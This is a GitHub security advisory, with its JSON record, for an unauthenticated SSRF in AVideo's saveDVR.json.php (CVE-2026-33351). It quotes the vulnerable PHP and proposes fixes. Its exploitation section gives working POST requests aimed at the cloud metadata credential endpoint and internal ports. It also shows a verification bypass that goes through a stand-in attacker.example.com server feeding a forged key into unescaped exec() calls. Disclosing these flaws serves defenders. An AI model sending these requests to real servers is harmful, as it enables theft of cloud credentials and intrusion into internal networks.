GHSA-5F7V-4F6G-74RJ
Vulnerability from github – Published: 2026-03-19 19:13 – Updated: 2026-03-25 18:49Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in plugin/Live/standAloneFiles/saveDVR.json.php. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the $_REQUEST['webSiteRootURL'] parameter is used directly to construct a URL that is fetched server-side via file_get_contents(). No authentication, origin validation, or URL allowlisting is performed.
Affected Component
File: plugin/Live/standAloneFiles/saveDVR.json.php, lines 5-28
$streamerURL = ""; // change it to your streamer URL
$configFile = '../../../videos/configuration.php';
if (file_exists($configFile)) {
include_once $configFile;
$streamerURL = $global['webSiteRootURL'];
}
if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {
$streamerURL = $_REQUEST['webSiteRootURL']; // ATTACKER-CONTROLLED
}
// ...
$verifyURL = "{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST['saveDVR']}";
$result = file_get_contents($verifyURL); // SSRF
Root Cause
- User-controlled URL base: When the configuration file does not exist (standalone deployment),
$streamerURLis set directly from$_REQUEST['webSiteRootURL']with no validation. - No URL allowlisting or scheme restriction: The value is used as-is in a
file_get_contents()call. There is no check forhttp/httpsscheme only, no private IP blocking, and no domain allowlist. - Verification bypass by design: The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.
Exploitation
Part 1: Basic SSRF (Internal Network Access)
POST /plugin/Live/standAloneFiles/saveDVR.json.php
Content-Type: application/x-www-form-urlencoded
webSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&saveDVR=anything
The server fetches:
http://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything
While the appended path may cause a 404 on the metadata service, the attacker can also use this for:
- Internal port scanning: webSiteRootURL=http://192.168.1.X:PORT/ — differentiate open/closed ports by response time and error messages.
- Internal service access: webSiteRootURL=http://internal-service/ — reach services behind the firewall.
- Cloud metadata access: With URL path manipulation or by hosting a redirect on the attacker server.
Part 2: Verification Bypass + Downstream Command Execution Chain
This is the more severe attack chain:
-
The attacker sets up a server at
https://attacker.example.com/with the path:/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.phpThat returns:json {"error": false, "response": {"key": "attacker_controlled_value"}} -
The attacker sends: ``` POST /plugin/Live/standAloneFiles/saveDVR.json.php
webSiteRootURL=https://attacker.example.com/&saveDVR=anything ```
-
The server fetches the verification URL from the attacker's server, receives the forged valid response, and proceeds to process it.
-
The
keyvalue from the response flows into shell commands: - Line 55:
$DVRFile = "{$hls_path}{$key}";— used inexec()at line 80 (thoughescapeshellarg()is applied to the path components) - Line 72:
$DVRFileTarget = "{$tmpDVRDir}" . DIRECTORY_SEPARATOR . "{$key}.m3u8";— used withoutescapeshellarg()in:- Line 119:
exec("echo \"{$endLine}\" >> {$DVRFileTarget}"); - Line 157:
exec("ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y"); - Line 167:
exec("rm -R {$tmpDVRDir}");
- Line 119:
The $key is sanitized at line 47 with preg_replace("/[^0-9a-z_:-]/i", "", $key), which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However:
- The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain.
- The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex.
- The colon character (:) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.
Impact
- SSRF: The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible.
- Authentication Bypass: The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server.
- Potential Command Execution: While the regex on
$keylimits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment. - Information Disclosure: Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure.
Suggested Fix
- Remove the user-controlled
webSiteRootURLfallback entirely. Require$streamerURLto be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:
```php // Remove this block: // if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { // $streamerURL = $_REQUEST['webSiteRootURL']; // }
// If $streamerURL is still empty, abort: if (empty($streamerURL)) { error_log("saveDVR: streamerURL is not configured"); die('saveDVR: Server not configured'); } ```
-
If the parameter must remain for backward compatibility, validate it:
php if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { $url = filter_var($_REQUEST['webSiteRootURL'], FILTER_VALIDATE_URL); if ($url && preg_match('/^https?:\/\//i', $url)) { // Resolve hostname and block private/reserved IPs $host = parse_url($url, PHP_URL_HOST); $ip = gethostbyname($host); if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('saveDVR: Invalid URL'); } $streamerURL = $url; } } -
Apply
escapeshellarg()to all variables used inexec()calls, including$DVRFileTargetat lines 119, 157, and$tmpDVRDirat line 167.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33351"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T19:13:26Z",
"nvd_published_at": "2026-03-23T14:16:33Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST[\u0027webSiteRootURL\u0027]` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed.\n\n### Affected Component\n\n**File:** `plugin/Live/standAloneFiles/saveDVR.json.php`, lines 5-28\n\n```php\n$streamerURL = \"\"; // change it to your streamer URL\n\n$configFile = \u0027../../../videos/configuration.php\u0027;\nif (file_exists($configFile)) {\n include_once $configFile;\n $streamerURL = $global[\u0027webSiteRootURL\u0027];\n}\n\nif (empty($streamerURL) \u0026\u0026 !empty($_REQUEST[\u0027webSiteRootURL\u0027])) {\n $streamerURL = $_REQUEST[\u0027webSiteRootURL\u0027]; // ATTACKER-CONTROLLED\n}\n\n// ...\n\n$verifyURL = \"{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST[\u0027saveDVR\u0027]}\";\n$result = file_get_contents($verifyURL); // SSRF\n```\n\n### Root Cause\n\n1. **User-controlled URL base:** When the configuration file does not exist (standalone deployment), `$streamerURL` is set directly from `$_REQUEST[\u0027webSiteRootURL\u0027]` with no validation.\n2. **No URL allowlisting or scheme restriction:** The value is used as-is in a `file_get_contents()` call. There is no check for `http`/`https` scheme only, no private IP blocking, and no domain allowlist.\n3. **Verification bypass by design:** The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.\n\n### Exploitation\n\n#### Part 1: Basic SSRF (Internal Network Access)\n\n```\nPOST /plugin/Live/standAloneFiles/saveDVR.json.php\nContent-Type: application/x-www-form-urlencoded\n\nwebSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0026saveDVR=anything\n```\n\nThe server fetches:\n```\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything\n```\n\nWhile the appended path may cause a 404 on the metadata service, the attacker can also use this for:\n- **Internal port scanning:** `webSiteRootURL=http://192.168.1.X:PORT/` \u2014 differentiate open/closed ports by response time and error messages.\n- **Internal service access:** `webSiteRootURL=http://internal-service/` \u2014 reach services behind the firewall.\n- **Cloud metadata access:** With URL path manipulation or by hosting a redirect on the attacker server.\n\n#### Part 2: Verification Bypass + Downstream Command Execution Chain\n\nThis is the more severe attack chain:\n\n1. The attacker sets up a server at `https://attacker.example.com/` with the path:\n ```\n /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php\n ```\n That returns:\n ```json\n {\"error\": false, \"response\": {\"key\": \"attacker_controlled_value\"}}\n ```\n\n2. The attacker sends:\n ```\n POST /plugin/Live/standAloneFiles/saveDVR.json.php\n\n webSiteRootURL=https://attacker.example.com/\u0026saveDVR=anything\n ```\n\n3. The server fetches the verification URL from the attacker\u0027s server, receives the forged valid response, and proceeds to process it.\n\n4. The `key` value from the response flows into shell commands:\n - **Line 55:** `$DVRFile = \"{$hls_path}{$key}\";` \u2014 used in `exec()` at line 80 (though `escapeshellarg()` is applied to the path components)\n - **Line 72:** `$DVRFileTarget = \"{$tmpDVRDir}\" . DIRECTORY_SEPARATOR . \"{$key}.m3u8\";` \u2014 used **without** `escapeshellarg()` in:\n - Line 119: `exec(\"echo \\\"{$endLine}\\\" \u003e\u003e {$DVRFileTarget}\");`\n - Line 157: `exec(\"ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y\");`\n - Line 167: `exec(\"rm -R {$tmpDVRDir}\");`\n\n The `$key` is sanitized at line 47 with `preg_replace(\"/[^0-9a-z_:-]/i\", \"\", $key)`, which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However:\n - The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain.\n - The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex.\n - The colon character (`:`) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.\n\n### Impact\n\n- **SSRF:** The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible.\n- **Authentication Bypass:** The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server.\n- **Potential Command Execution:** While the regex on `$key` limits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment.\n- **Information Disclosure:** Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure.\n\n### Suggested Fix\n\n1. **Remove the user-controlled `webSiteRootURL` fallback entirely.** Require `$streamerURL` to be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:\n\n ```php\n // Remove this block:\n // if (empty($streamerURL) \u0026\u0026 !empty($_REQUEST[\u0027webSiteRootURL\u0027])) {\n // $streamerURL = $_REQUEST[\u0027webSiteRootURL\u0027];\n // }\n\n // If $streamerURL is still empty, abort:\n if (empty($streamerURL)) {\n error_log(\"saveDVR: streamerURL is not configured\");\n die(\u0027saveDVR: Server not configured\u0027);\n }\n ```\n\n2. **If the parameter must remain for backward compatibility**, validate it:\n ```php\n if (empty($streamerURL) \u0026\u0026 !empty($_REQUEST[\u0027webSiteRootURL\u0027])) {\n $url = filter_var($_REQUEST[\u0027webSiteRootURL\u0027], FILTER_VALIDATE_URL);\n if ($url \u0026\u0026 preg_match(\u0027/^https?:\\/\\//i\u0027, $url)) {\n // Resolve hostname and block private/reserved IPs\n $host = parse_url($url, PHP_URL_HOST);\n $ip = gethostbyname($host);\n if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n die(\u0027saveDVR: Invalid URL\u0027);\n }\n $streamerURL = $url;\n }\n }\n ```\n\n3. **Apply `escapeshellarg()` to all variables used in `exec()` calls**, including `$DVRFileTarget` at lines 119, 157, and `$tmpDVRDir` at line 167.",
"id": "GHSA-5f7v-4f6g-74rj",
"modified": "2026-03-25T18:49:00Z",
"published": "2026-03-19T19:13:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5f7v-4f6g-74rj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33351"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/d0c54960389eeb85e76caed5a257ae90e6a739f2"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.